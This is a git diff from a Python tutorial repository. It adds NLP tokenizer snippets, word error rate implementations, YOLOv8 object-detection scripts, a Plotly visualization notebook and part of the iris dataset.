+f = open('reviews.txt', 'r')
+for l in f:
+ res = tk.encode(l.strip())
+ print(res.tokens)
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/xlnet_sentencepiece_tokenizer.py b/machine-learning/nlp/tokenization-stemming-lemmatization/xlnet_sentencepiece_tokenizer.py
new file mode 100644
index 00000000..305033c8
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/xlnet_sentencepiece_tokenizer.py
@@ -0,0 +1,7 @@
+from transformers import XLNetTokenizer
+
+tk = XLNetTokenize.from_pretrained('xlnet-base-cased')
+f = open('reviews.txt', 'r')
+for l in f:
+ res = tk.tokenize(l.strip())
+ print(res)
diff --git a/machine-learning/nlp/wer-score/README.md b/machine-learning/nlp/wer-score/README.md
new file mode 100644
index 00000000..8e33c7f9
--- /dev/null
+++ b/machine-learning/nlp/wer-score/README.md
@@ -0,0 +1,6 @@
+# [Word Error Rate in Python](https://www.thepythoncode.com/article/calculate-word-error-rate-in-python)
+- `pip install -r requirements.txt`
+- `wer_basic.py` is the basic implementation of WER algorithm.
+- `wer_accurate.py` is the accurate implementation of WER algorithm.
+- `wer_jiwer.py` is the implementation of WER algorithm using [jiwer](https://pypi.org/project/jiwer/).
+- `wer_evaluate.py` is the implementation of WER algorithm using [evaluate](https://pypi.org/project/evaluate/).
\ No newline at end of file
diff --git a/machine-learning/nlp/wer-score/requirements.txt b/machine-learning/nlp/wer-score/requirements.txt
new file mode 100644
index 00000000..577cfc06
--- /dev/null
+++ b/machine-learning/nlp/wer-score/requirements.txt
@@ -0,0 +1,3 @@
+numpy
+jiwer
+evaluate
\ No newline at end of file
diff --git a/machine-learning/nlp/wer-score/wer_accurate.py b/machine-learning/nlp/wer-score/wer_accurate.py
new file mode 100644
index 00000000..b5dbc29a
--- /dev/null
+++ b/machine-learning/nlp/wer-score/wer_accurate.py
@@ -0,0 +1,44 @@
+import numpy as np
+
+def calculate_wer(reference, hypothesis):
+ # Split the reference and hypothesis sentences into words
+ ref_words = reference.split()
+ hyp_words = hypothesis.split()
+ # Initialize a matrix with size |ref_words|+1 x |hyp_words|+1
+ # The extra row and column are for the case when one of the strings is empty
+ d = np.zeros((len(ref_words) + 1, len(hyp_words) + 1))
+ # The number of operations for an empty hypothesis to become the reference
+ # is just the number of words in the reference (i.e., deleting all words)
+ for i in range(len(ref_words) + 1):
+ d[i, 0] = i
+ # The number of operations for an empty reference to become the hypothesis
+ # is just the number of words in the hypothesis (i.e., inserting all words)
+ for j in range(len(hyp_words) + 1):
+ d[0, j] = j
+ # Iterate over the words in the reference and hypothesis
+ for i in range(1, len(ref_words) + 1):
+ for j in range(1, len(hyp_words) + 1):
+ # If the current words are the same, no operation is needed
+ # So we just take the previous minimum number of operations
+ if ref_words[i - 1] == hyp_words[j - 1]:
+ d[i, j] = d[i - 1, j - 1]
+ else:
+ # If the words are different, we consider three operations:
+ # substitution, insertion, and deletion
+ # And we take the minimum of these three possibilities
+ substitution = d[i - 1, j - 1] + 1
+ insertion = d[i, j - 1] + 1
+ deletion = d[i - 1, j] + 1
+ d[i, j] = min(substitution, insertion, deletion)
+ # The minimum number of operations to transform the hypothesis into the reference
+ # is in the bottom-right cell of the matrix
+ # We divide this by the number of words in the reference to get the WER
+ wer = d[len(ref_words), len(hyp_words)] / len(ref_words)
+ return wer
+
+
+
+if __name__ == "__main__":
+ reference = "The cat is sleeping on the mat."
+ hypothesis = "The cat is playing on mat."
+ print(calculate_wer(reference, hypothesis))
diff --git a/machine-learning/nlp/wer-score/wer_basic.py b/machine-learning/nlp/wer-score/wer_basic.py
new file mode 100644
index 00000000..9cc3917b
--- /dev/null
+++ b/machine-learning/nlp/wer-score/wer_basic.py
@@ -0,0 +1,21 @@
+def calculate_wer(reference, hypothesis):
+ ref_words = reference.split()
+ hyp_words = hypothesis.split()
+
+ # Counting the number of substitutions, deletions, and insertions
+ substitutions = sum(1 for ref, hyp in zip(ref_words, hyp_words) if ref != hyp)
+ deletions = len(ref_words) - len(hyp_words)
+ insertions = len(hyp_words) - len(ref_words)
+
+ # Total number of words in the reference text
+ total_words = len(ref_words)
+
+ # Calculating the Word Error Rate (WER)
+ wer = (substitutions + deletions + insertions) / total_words
+ return wer
+
+
+if __name__ == "__main__":
+ reference = "the cat sat on the mat"
+ hypothesis = "the cat mat"
+ print(calculate_wer(reference, hypothesis))
\ No newline at end of file
diff --git a/machine-learning/nlp/wer-score/wer_evaluate.py b/machine-learning/nlp/wer-score/wer_evaluate.py
new file mode 100644
index 00000000..818bf408
--- /dev/null
+++ b/machine-learning/nlp/wer-score/wer_evaluate.py
@@ -0,0 +1,9 @@
+import evaluate
+
+wer = evaluate.load("wer")
+
+# reference = "the cat sat on the mat"
+# hypothesis = "the cat mat"
+reference = "The cat is sleeping on the mat."
+hypothesis = "The cat is playing on mat."
+print(wer.compute(references=[reference], predictions=[hypothesis]))
\ No newline at end of file
diff --git a/machine-learning/nlp/wer-score/wer_jiwer.py b/machine-learning/nlp/wer-score/wer_jiwer.py
new file mode 100644
index 00000000..28fa9572
--- /dev/null
+++ b/machine-learning/nlp/wer-score/wer_jiwer.py
@@ -0,0 +1,8 @@
+from jiwer import wer
+
+if __name__ == "__main__":
+ # reference = "the cat sat on the mat"
+ # hypothesis = "the cat mat"
+ reference = "The cat is sleeping on the mat."
+ hypothesis = "The cat is playing on mat."
+ print(wer(reference, hypothesis))
\ No newline at end of file
diff --git a/machine-learning/object-detection/1.mp4 b/machine-learning/object-detection/1.mp4
new file mode 100644
index 00000000..44305cce
Binary files /dev/null and b/machine-learning/object-detection/1.mp4 differ
diff --git a/machine-learning/object-detection/README.md b/machine-learning/object-detection/README.md
index 921fed32..a73112ac 100644
--- a/machine-learning/object-detection/README.md
+++ b/machine-learning/object-detection/README.md
@@ -1,20 +1,19 @@
# [How to Perform YOLO Object Detection using OpenCV and PyTorch in Python](https://www.thepythoncode.com/article/yolo-object-detection-with-opencv-and-pytorch-in-python)
To run this:
- `pip3 install -r requirements.txt`
-- Download the model weights and put them in `weights` folder.
- To generate a object detection image on `images/dog.jpg`:
```
- python yolo_opencv.py images/dog.jpg
+ python yolov8_opencv.py images/dog.jpg
```
- A new image `dog_yolo3.jpg` will appear which has the bounding boxes of different objects in the image.
+ A new image `dog_yolo8.jpg` will appear which has the bounding boxes of different objects in the image.
- For live object detection:
```
- python live_yolo_opencv.py
+ python live_yolov8_opencv.py
```
- If you want to read from a video file and make predictions:
```
- python read_video.py video.avi
+ python read_video_yolov8.py 1.mp4
```
This will start detecting objects in that video, in the end, it'll save the resulting video to `output.avi`
-- If you wish to use PyTorch for GPU acceleration, please install PyTorch CUDA [here](https://pytorch.org/get-started) and use `yolo.py` file.
+- Old files for YOLOv3: `yolo_opencv.py`, `live_yolo_opencv.py`, `read_video.py`
- Feel free to edit the codes for your needs!
diff --git a/machine-learning/object-detection/live_yolo_opencv.py b/machine-learning/object-detection/live_yolo_opencv.py
index 1a67f116..7c9f1eef 100644
--- a/machine-learning/object-detection/live_yolo_opencv.py
+++ b/machine-learning/object-detection/live_yolo_opencv.py
@@ -16,7 +16,11 @@
net = cv2.dnn.readNetFromDarknet(config_path, weights_path)
ln = net.getLayerNames()
-ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()]
+try:
+ ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()]
+except IndexError:
+ # in case getUnconnectedOutLayers() returns 1D array when CUDA isn't available
+ ln = [ln[i - 1] for i in net.getUnconnectedOutLayers()]
cap = cv2.VideoCapture(0)
@@ -76,9 +80,10 @@
x, y = boxes[i][0], boxes[i][1]
w, h = boxes[i][2], boxes[i][3]
# draw a bounding box rectangle and label on the image
- color = [int(c) for c in colors[class_ids[i]]]
+
+ color = [int(c) for c in COLORS[class_ids[i]]]
cv2.rectangle(image, (x, y), (x + w, y + h), color=color, thickness=thickness)
- text = f"{labels[class_ids[i]]}: {confidences[i]:.2f}"
+ text = f"{LABELS[class_ids[i]]}: {confidences[i]:.2f}"
# calculate text width & height to draw the transparent boxes as background of the text
(text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0]
text_offset_x = x
@@ -97,4 +102,4 @@
break
cap.release()
-cv2.destroyAllWindows()
\ No newline at end of file
+cv2.destroyAllWindows()
diff --git a/machine-learning/object-detection/live_yolov8_opencv.py b/machine-learning/object-detection/live_yolov8_opencv.py
new file mode 100644
index 00000000..c91b13d2
--- /dev/null
+++ b/machine-learning/object-detection/live_yolov8_opencv.py
@@ -0,0 +1,75 @@
+import cv2
+import numpy as np
+
+import time
+import sys
+
+from ultralytics import YOLO
+
+
+CONFIDENCE = 0.5
+font_scale = 1
+thickness = 1
+labels = open("data/coco.names").read().strip().split("\n")
+colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8")
+
+model = YOLO("yolov8n.pt")
+
+cap = cv2.VideoCapture(0)
+_, image = cap.read()
+h, w = image.shape[:2]
+fourcc = cv2.VideoWriter_fourcc(*"XVID")
+out = cv2.VideoWriter("output.avi", fourcc, 20.0, (w, h))
+while True:
+ _, image = cap.read()
+
+ start = time.perf_counter()
+ # run inference on the image
+ # see: https://docs.ultralytics.com/modes/predict/#arguments for full list of arguments
+ results = model.predict(image, conf=CONFIDENCE)[0]
+ time_took = time.perf_counter() - start
+ print("Time took:", time_took)
+
+ # loop over the detections
+ for data in results.boxes.data.tolist():
+ # get the bounding box coordinates, confidence, and class id
+ xmin, ymin, xmax, ymax, confidence, class_id = data
+ # converting the coordinates and the class id to integers
+ xmin = int(xmin)
+ ymin = int(ymin)
+ xmax = int(xmax)
+ ymax = int(ymax)
+ class_id = int(class_id)
+
+ # draw a bounding box rectangle and label on the image
+ color = [int(c) for c in colors[class_id]]
+ cv2.rectangle(image, (xmin, ymin), (xmax, ymax), color=color, thickness=thickness)
+ text = f"{labels[class_id]}: {confidence:.2f}"
+ # calculate text width & height to draw the transparent boxes as background of the text
+ (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0]
+ text_offset_x = xmin
+ text_offset_y = ymin - 5
+ box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height))
+ overlay = image.copy()
+ cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED)
+ # add opacity (transparency to the box)
+ image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0)
+ # now put the text (label: confidence %)
+ cv2.putText(image, text, (xmin, ymin - 5), cv2.FONT_HERSHEY_SIMPLEX,
+ fontScale=font_scale, color=(0, 0, 0), thickness=thickness)
+
+ # end time to compute the fps
+ end = time.perf_counter()
+ # calculate the frame per second and draw it on the frame
+ fps = f"FPS: {1 / (end - start):.2f}"
+ cv2.putText(image, fps, (50, 50),
+ cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 255, 0), 6)
+ out.write(image)
+ cv2.imshow("image", image)
+
+ if ord("q") == cv2.waitKey(1):
+ break
+
+
+cap.release()
+cv2.destroyAllWindows()
\ No newline at end of file
diff --git a/machine-learning/object-detection/read_video.py b/machine-learning/object-detection/read_video.py
index 123bb742..752d37a7 100644
--- a/machine-learning/object-detection/read_video.py
+++ b/machine-learning/object-detection/read_video.py
@@ -17,7 +17,11 @@
net = cv2.dnn.readNetFromDarknet(config_path, weights_path)
ln = net.getLayerNames()
-ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()]
+try:
+ ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()]
+except IndexError:
+ # in case getUnconnectedOutLayers() returns 1D array when CUDA isn't available
+ ln = [ln[i - 1] for i in net.getUnconnectedOutLayers()]
# read the file from the command line
video_file = sys.argv[1]
cap = cv2.VideoCapture(video_file)
diff --git a/machine-learning/object-detection/read_video_yolov8.py b/machine-learning/object-detection/read_video_yolov8.py
new file mode 100644
index 00000000..3d02fddf
--- /dev/null
+++ b/machine-learning/object-detection/read_video_yolov8.py
@@ -0,0 +1,79 @@
+import cv2
+import numpy as np
+
+import time
+import sys
+
+from ultralytics import YOLO
+
+# define some parameters
+CONFIDENCE = 0.5
+font_scale = 1
+thickness = 1
+labels = open("data/coco.names").read().strip().split("\n")
+colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8")
+
+# loading the YOLOv8 model with the default weight file
+model = YOLO("yolov8n.pt")
+
+# read the file from the command line
+video_file = sys.argv[1]
+cap = cv2.VideoCapture(video_file)
+_, image = cap.read()
+h, w = image.shape[:2]
+fourcc = cv2.VideoWriter_fourcc(*"XVID")
+out = cv2.VideoWriter("output.avi", fourcc, 20.0, (w, h))
+while True:
+ _, image = cap.read()
+
+ start = time.perf_counter()
+ results = model.predict(image, conf=CONFIDENCE)[0]
+ time_took = time.perf_counter() - start
+ print("Time took:", time_took)
+
+ # loop over the detections
+ for data in results.boxes.data.tolist():
+ # get the bounding box coordinates, confidence, and class id
+ xmin, ymin, xmax, ymax, confidence, class_id = data
+ # converting the coordinates and the class id to integers
+ xmin = int(xmin)
+ ymin = int(ymin)
+ xmax = int(xmax)
+ ymax = int(ymax)
+ class_id = int(class_id)
+
+ # draw a bounding box rectangle and label on the image
+ color = [int(c) for c in colors[class_id]]
+ cv2.rectangle(image, (xmin, ymin), (xmax, ymax), color=color, thickness=thickness)
+ text = f"{labels[class_id]}: {confidence:.2f}"
+ # calculate text width & height to draw the transparent boxes as background of the text
+ (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0]
+ text_offset_x = xmin
+ text_offset_y = ymin - 5
+ box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height))
+ try:
+ overlay = image.copy()
+ except:
+ break
+ cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED)
+ # add opacity (transparency to the box)
+ image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0)
+ # now put the text (label: confidence %)
+ cv2.putText(image, text, (xmin, ymin - 5), cv2.FONT_HERSHEY_SIMPLEX,
+ fontScale=font_scale, color=(0, 0, 0), thickness=thickness)
+
+ # end time to compute the fps
+ end = time.perf_counter()
+ # calculate the frame per second and draw it on the frame
+ fps = f"FPS: {1 / (end - start):.2f}"
+ cv2.putText(image, fps, (50, 50),
+ cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 255, 0), 6)
+ out.write(image)
+ cv2.imshow("image", image)
+
+ if ord("q") == cv2.waitKey(1):
+ break
+
+
+cap.release()
+cv2.destroyAllWindows()
\ No newline at end of file
diff --git a/machine-learning/object-detection/requirements.txt b/machine-learning/object-detection/requirements.txt
index ad07e21c..089e32c6 100644
--- a/machine-learning/object-detection/requirements.txt
+++ b/machine-learning/object-detection/requirements.txt
@@ -1,3 +1,4 @@
opencv-python
numpy
-matplotlib
\ No newline at end of file
+matplotlib
+ultralytics
\ No newline at end of file
diff --git a/machine-learning/object-detection/utils.py b/machine-learning/object-detection/utils.py
index d4446ae5..b280bfd0 100644
--- a/machine-learning/object-detection/utils.py
+++ b/machine-learning/object-detection/utils.py
@@ -57,6 +57,7 @@ def nms(boxes, iou_thresh):
"""
Performs Non maximal suppression technique to `boxes` using `iou_thresh` threshold
"""
+ # print(boxes.shape)
# If there are no bounding boxes do nothing
if len(boxes) == 0:
return boxes
@@ -261,5 +262,6 @@ def get_color(c, x, max_val):
a.text(x1 + lxc, y1 - lyc, conf_tx, fontsize = 12, color = 'k',
bbox = dict(facecolor = rgb, edgecolor = rgb, alpha = 0.6))
+ plt.axis("off")
plt.savefig("output.jpg")
plt.show()
diff --git a/machine-learning/object-detection/yolo_opencv.py b/machine-learning/object-detection/yolo_opencv.py
index 7ab289b5..d4d7a86b 100644
--- a/machine-learning/object-detection/yolo_opencv.py
+++ b/machine-learning/object-detection/yolo_opencv.py
@@ -37,7 +37,11 @@
# get all the layer names
ln = net.getLayerNames()
-ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()]
+try:
+ ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()]
+except IndexError:
+ # in case getUnconnectedOutLayers() returns 1D array when CUDA isn't available
+ ln = [ln[i - 1] for i in net.getUnconnectedOutLayers()]
# feed forward (inference) and get the network output
# measure how much it took in seconds
start = time.perf_counter()
diff --git a/machine-learning/object-detection/yolov8_opencv.py b/machine-learning/object-detection/yolov8_opencv.py
new file mode 100644
index 00000000..85b5a298
--- /dev/null
+++ b/machine-learning/object-detection/yolov8_opencv.py
@@ -0,0 +1,68 @@
+import numpy as np
+import os
+import cv2
+import time
+import sys
+from ultralytics import YOLO
+
+# define some parameters
+CONFIDENCE = 0.5
+font_scale = 1
+thickness = 1
+
+# loading the YOLOv8 model with the default weight file
+model = YOLO("yolov8n.pt")
+
+# loading all the class labels (objects)
+labels = open("data/coco.names").read().strip().split("\n")
+
+# generating colors for each object for later plotting
+colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8")
+
+path_name = sys.argv[1]
+image = cv2.imread(path_name)
+file_name = os.path.basename(path_name) # "dog.jpg"
+filename, ext = file_name.split(".") # "dog", "jpg"
+
+# measure how much it took in seconds
+start = time.perf_counter()
+# run inference on the image
+# see: https://docs.ultralytics.com/modes/predict/#arguments for full list of arguments
+results = model.predict(image, conf=CONFIDENCE)[0]
+time_took = time.perf_counter() - start
+print(f"Time took: {time_took:.2f}s")
+print(results.boxes.data)
+
+# loop over the detections
+for data in results.boxes.data.tolist():
+ # get the bounding box coordinates, confidence, and class id
+ xmin, ymin, xmax, ymax, confidence, class_id = data
+ # converting the coordinates and the class id to integers
+ xmin = int(xmin)
+ ymin = int(ymin)
+ xmax = int(xmax)
+ ymax = int(ymax)
+ class_id = int(class_id)
+
+ # draw a bounding box rectangle and label on the image
+ color = [int(c) for c in colors[class_id]]
+ cv2.rectangle(image, (xmin, ymin), (xmax, ymax), color=color, thickness=thickness)
+ text = f"{labels[class_id]}: {confidence:.2f}"
+ # calculate text width & height to draw the transparent boxes as background of the text
+ (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0]
+ text_offset_x = xmin
+ text_offset_y = ymin - 5
+ box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height))
+ overlay = image.copy()
+ cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED)
+ # add opacity (transparency to the box)
+ image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0)
+ # now put the text (label: confidence %)
+ cv2.putText(image, text, (xmin, ymin - 5), cv2.FONT_HERSHEY_SIMPLEX,
+ fontScale=font_scale, color=(0, 0, 0), thickness=thickness)
+
+# display output image
+cv2.imshow("Image", image)
+cv2.waitKey(0)
+# save output image to disk
+cv2.imwrite(filename + "_yolo8." + ext, image)
diff --git a/machine-learning/plotly-visualization/Plotly_Viz.ipynb b/machine-learning/plotly-visualization/Plotly_Viz.ipynb
new file mode 100644
index 00000000..4e61cb03
--- /dev/null
+++ b/machine-learning/plotly-visualization/Plotly_Viz.ipynb
@@ -0,0 +1,237 @@
+{
+ "cells": [
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "import plotly.offline as py\n",
+ "import plotly.graph_objs as go\n",
+ "import plotly.figure_factory as ff\n",
+ "import pandas as pd\n",
+ "import numpy as np\n",
+ "import yfinance as yf\n",
+ "import pandas_datareader as pdr\n",
+ "\n",
+ "py.init_notebook_mode()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "x = [ i for i in range(-10,10) ]\n",
+ "\n",
+ "y = [ i*2 for i in range(-10,10) ]\n",
+ "\n",
+ "xaxis = go.layout.XAxis(title=\"X Axis\")\n",
+ "yaxis = go.layout.YAxis(title=\"Y Axis\")\n",
+ "\n",
+ "fig = go.Figure(layout=go.Layout(title=\"Simple Line Plot\", xaxis=xaxis, yaxis=yaxis))\n",
+ "fig.add_trace(go.Scatter(x=x, y=y))"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "def sigmoid(x):\n",
+ " return 1 / (1 + np.exp((-1) * x))\n",
+ "\n",
+ "x = sorted(np.random.random(100) * 10 - 5)\n",
+ "y = [ sigmoid(i) for i in x ]\n",
+ "\n",
+ "xaxis = go.layout.XAxis(title=\"X Axis\")\n",
+ "yaxis = go.layout.YAxis(title=\"Y Axis\")\n",
+ "\n",
+ "fig=go.Figure(layout=go.Layout(title=\"Sigmoid Plot\",xaxis=xaxis, yaxis=yaxis))\n",
+ "fig.add_trace(go.Scatter(x=x, y=y, marker=dict(color=\"red\")))"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "l = []\n",
+ "\n",
+ "for _ in range(5):\n",
+ " l.append([ sorted(np.random.randint(low=0, high=10000, size=50)), sorted(np.random.randint(low=0, high=10000, size=50)) ])\n",
+ "\n",
+ "l = np.array(l)\n",
+ "\n",
+ "figure = go.Figure(layout=go.Layout(title=\"Simple Scatter Example\", xaxis=go.layout.XAxis(title=\"X\"), yaxis=go.layout.YAxis(title=\"Y\")))\n",
+ "for i in range(len(l)):\n",
+ " figure.add_trace(go.Scatter(x=l[i][0],y=l[i][1], mode=\"markers\", name=f\" Distribution {i+1} \"))\n",
+ "figure.show()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "dist = np.random.normal(loc=0, scale=1, size=50000)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "figure = go.Figure()\n",
+ "figure.add_trace(go.Histogram(x=dist,))"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "\n",
+ "\n",
+ "d=[{\"values\":np.random.normal(0,0.5,10000), \"information\": \" Normal Distribution with mean 0 and std= 0.5\"},\n",
+ " {\"values\":np.random.normal(0,1,10000), \"information\": \" Normal Distribution with mean 0 and std= 1\"},\n",
+ " {\"values\":np.random.normal(0,1.5,10000), \"information\": \" Normal Distribution with mean 0 and std= 1.5\"},\n",
+ " {\"values\":np.random.normal(0,2,10000), \"information\": \" Normal Distribution with mean 0 and std= 2\"},\n",
+ " {\"values\":np.random.normal(0,5,10000), \"information\": \" Normal Distribution with mean 0 and std= 5\"}]\n",
+ "\n",
+ "ff.create_distplot([ele[\"values\"] for ele in d], group_labels=[ele[\"information\"] for ele in d], show_hist=False)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "x = np.random.randint(low=5, high=100, size=15)\n",
+ "y = np.random.randint(low=5, high=100 ,size=15)\n",
+ "z = np.random.randint(low=5, high=100, size=15)\n",
+ "\n",
+ "fig = go.Figure()\n",
+ "fig.add_trace(go.Scatter3d(x=x, y=y, z=z, mode=\"markers\"))"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "df_iris = pd.read_csv(\"iris.csv\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "fig = go.Figure()\n",
+ "species_types = df_iris.species.unique().tolist()\n",
+ "\n",
+ "for specie in species_types:\n",
+ " b = df_iris.species == specie\n",
+ " fig.add_trace(go.Scatter3d(x=df_iris[\"sepal_length\"][b], y=df_iris[\"sepal_width\"][b], z=df_iris[\"petal_width\"][b], name=specie, mode=\"markers\"))\n",
+ "\n",
+ "\n",
+ "fig.show()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "yf.pdr_override()\n",
+ "\n",
+ "symbols = [\"AAPL\",\"MSFT\"]\n",
+ "stocks = []\n",
+ "for symbol in symbols:\n",
+ " stocks.append(pdr.get_data_yahoo(symbol, start=\"2020-01-01\", end=\"2020-05-31\"))"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "fig = go.Figure()\n",
+ "\n",
+ "for stock,symbol in zip(stocks,symbols):\n",
+ " fig.add_trace(go.Scatter(x=stock.index, y=stock.Close, name=symbol))\n",
+ "\n",
+ "fig.show()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "df_aapl = pdr.get_data_yahoo(symbol, start=\"2020-01-01\", end=\"2020-05-31\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "scrolled": true
+ },
+ "outputs": [],
+ "source": [
+ "ff.create_candlestick(dates=df_aapl.index, open=df_aapl.Open, high=df_aapl.High, low=df_aapl.Low, close=df_aapl.Close)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "\n"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": []
+ }
+ ],
+ "metadata": {
+ "kernelspec": {
+ "display_name": "Python 3",
+ "language": "python",
+ "name": "python3"
+ },
+ "language_info": {
+ "codemirror_mode": {
+ "name": "ipython",
+ "version": 3
+ },
+ "file_extension": ".py",
+ "mimetype": "text/x-python",
+ "name": "python",
+ "nbconvert_exporter": "python",
+ "pygments_lexer": "ipython3",
+ "version": "3.6.6"
+ }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 4
+}
diff --git a/machine-learning/plotly-visualization/README.md b/machine-learning/plotly-visualization/README.md
new file mode 100644
index 00000000..c32d4a56
--- /dev/null
+++ b/machine-learning/plotly-visualization/README.md
@@ -0,0 +1,8 @@
+# [How to Create Plots With Plotly In Python](https://www.thepythoncode.com/article/creating-dynamic-plots-with-plotly-visualization-tool-in-python)
+To run this on a jupyter lab:
+- Install Jupyter Lab
+- Install plotly extension:
+ ```bash
+ $ jupyter labextension install jupyterlab-plotly
+ ```
+- `pip3 install -r requirements.txt`
diff --git a/machine-learning/plotly-visualization/iris.csv b/machine-learning/plotly-visualization/iris.csv
new file mode 100644
index 00000000..381891c6
--- /dev/null
+++ b/machine-learning/plotly-visualization/iris.csv
@@ -0,0 +1,151 @@
+sepal_length,sepal_width,petal_length,petal_width,species
+5.1,3.5,1.4,0.2,setosa
+4.9,3.0,1.4,0.2,setosa
+4.7,3.2,1.3,0.2,setosa
+4.6,3.1,1.5,0.2,setosa
+5.0,3.6,1.4,0.2,setosa
+5.4,3.9,1.7,0.4,setosa
+4.6,3.4,1.4,0.3,setosa
+5.0,3.4,1.5,0.2,setosa
+4.4,2.9,1.4,0.2,setosa
+4.9,3.1,1.5,0.1,setosa
+5.4,3.7,1.5,0.2,setosa
+4.8,3.4,1.6,0.2,setosa
+4.8,3.0,1.4,0.1,setosa
+4.3,3.0,1.1,0.1,setosa
+5.8,4.0,1.2,0.2,setosa
+5.7,4.4,1.5,0.4,setosa
+5.4,3.9,1.3,0.4,setosa
+5.1,3.5,1.4,0.3,setosa
+5.7,3.8,1.7,0.3,setosa
+5.1,3.8,1.5,0.3,setosa
+5.4,3.4,1.7,0.2,setosa
+5.1,3.7,1.5,0.4,setosa
+4.6,3.6,1.0,0.2,setosa
+5.1,3.3,1.7,0.5,setosa
+4.8,3.4,1.9,0.2,setosa
+5.0,3.0,1.6,0.2,setosa
+5.0,3.4,1.6,0.4,setosa
+5.2,3.5,1.5,0.2,setosa
+5.2,3.4,1.4,0.2,setosa
+4.7,3.2,1.6,0.2,setosa
+4.8,3.1,1.6,0.2,setosa
+5.4,3.4,1.5,0.4,setosa
+5.2,4.1,1.5,0.1,setosa
+5.5,4.2,1.4,0.2,setosa
+4.9,3.1,1.5,0.1,setosa
+5.0,3.2,1.2,0.2,setosa
+5.5,3.5,1.3,0.2,setosa
+4.9,3.1,1.5,0.1,setosa
+4.4,3.0,1.3,0.2,setosa
+5.1,3.4,1.5,0.2,setosa
+5.0,3.5,1.3,0.3,setosa
+4.5,2.3,1.3,0.3,setosa
+4.4,3.2,1.3,0.2,setosa
+5.0,3.5,1.6,0.6,setosa
+5.1,3.8,1.9,0.4,setosa
+4.8,3.0,1.4,0.3,setosa
+5.1,3.8,1.6,0.2,setosa
+4.6,3.2,1.4,0.2,setosa
+5.3,3.7,1.5,0.2,setosa
+5.0,3.3,1.4,0.2,setosa
+7.0,3.2,4.7,1.4,versicolor
+6.4,3.2,4.5,1.5,versicolor
+6.9,3.1,4.9,1.5,versicolor
+5.5,2.3,4.0,1.3,versicolor
+6.5,2.8,4.6,1.5,versicolor
+5.7,2.8,4.5,1.3,versicolor
+6.3,3.3,4.7,1.6,versicolor
+4.9,2.4,3.3,1.0,versicolor
+6.6,2.9,4.6,1.3,versicolor
+5.2,2.7,3.9,1.4,versicolor
+5.0,2.0,3.5,1.0,versicolor
+5.9,3.0,4.2,1.5,versicolor
+6.0,2.2,4.0,1.0,versicolor
+6.1,2.9,4.7,1.4,versicolor
+5.6,2.9,3.6,1.3,versicolor
+6.7,3.1,4.4,1.4,versicolor
+5.6,3.0,4.5,1.5,versicolor
+5.8,2.7,4.1,1.0,versicolor
+6.2,2.2,4.5,1.5,versicolor
+5.6,2.5,3.9,1.1,versicolor
